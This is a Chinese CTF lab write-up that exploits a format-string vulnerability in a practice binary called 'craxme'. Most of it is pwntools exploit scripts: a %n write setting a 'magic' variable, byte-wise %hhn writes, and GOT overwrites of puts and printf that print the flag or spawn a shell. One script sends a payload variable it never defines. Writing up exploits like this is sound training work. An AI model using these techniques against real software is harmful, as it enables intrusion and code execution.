lab8

拿到题目，先checksec一波

image.png

开了canary，跟栈溢出没关系了，放到IDA里很明显可以看到我们只需要修改magic的值为218或者0xFACEB00C就行了，再看这一句printf(&buf);很明显是格式化字符串了。
先测试格式化字符串的位置：

image.png

偏移为7，接下来修改magic为218

#-*- coding:utf-8 -*-
#偏移为7
from pwn import *
context.log_level = 'debug'
p = process('./craxme')

#改小
magic = 0x0804A038
payload = ""
payload += p32(magic) + "%0214c" + "%7$n"     #218-4 = 214，前面有个地址4位，所以只需再填214个字符
payload2 = fmtstr_payload(7,{magic:218})
p.sendline(payload)
p.recv()
p.interactive()

修改magic为0xFACEB00C

#-*- coding:utf-8 -*-
#偏移为7
from pwn import *
context.log_level = 'debug'
p = process('./craxme')
magic = 0x0804A038
padding1 = 0x10c-16          #因为0c-16<0所以要在前面加一位(这个加了一位1),这样才能将0c读进去
padding2 = 0x1b0 - 0x10c
padding3 = 0x1ce - 0x1b0
padding4 = 0x1fa - 0x1ce
print padding1
print padding2
print padding3
print padding4
pause()

payload = ""
payload += p32(magic) + p32(magic+1) + p32(magic+2) + p32(magic+3)
# payload += padding1*'a' + "%7$n" + padding2*'b' + "%8$n" + padding3*'c' + "%9$n" + padding4*'d' + "%10$n"
payload += "%252c%7$hhn"  #padding1    252+16 = 10c(以下同理)
payload += "%164c%8$hhn"  #padding2
payload += "%30c%9$hhn"   #padding3
payload += "%44c%10$hhn"  #padding4
# payload2 = fmtstr_payload(7,{magic:0xFACEB00C})   #也可以直接调用fmtstr_payload这个函数
p.sendline(payload2)
# p.sendline(payload)
p.recv()
p.interactive()

搜索大佬的博客发现还有另外 两种做法：
1、修改puts的got表为system("cat /home/craxme/flag");的地址，这样到执行puts("You need be a phd");时就会直接执行system("cat /home/craxme/flag");
2、修改puts的got表为read(0, &buf, 0x100u);把printf 的got表改为system的plt表地址，这样就能拿到shell了（我只能说骚啊）
1、修改puts的got表为system("cat /home/craxme/flag");的地址

#-*-coding:utf-8-*-
from pwn import *
p = process('./craxme')
elf = ELF('./craxme')
#将put_got修改为read(0,&buf,0x100)
#将printf修改为system
puts_got = elf.got['puts']
system_catflag = 0x80485F3
#read(0,&buf,0x100)
read = 0x80485A1
payload = fmtstr_payload(7,{puts_got:system_catflag})
p.sendline(payload)
p.interactive()

2、get shell

#-*-coding:utf-8-*-
from pwn import *
p = process('./craxme')
elf = ELF('./craxme')
#将put_got修改为read(0,&buf,0x100)
#将printf修改为system
puts_got = elf.got['puts']
printf_got = elf.got['printf']
system_plt = elf.plt['system']
#read(0,&buf,0x100)
read = 0x80485A1
payload = fmtstr_payload(7,{puts_got:read,printf_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh\x00')   #这一句可加可不加我也不清楚 为什么 
p.interactive()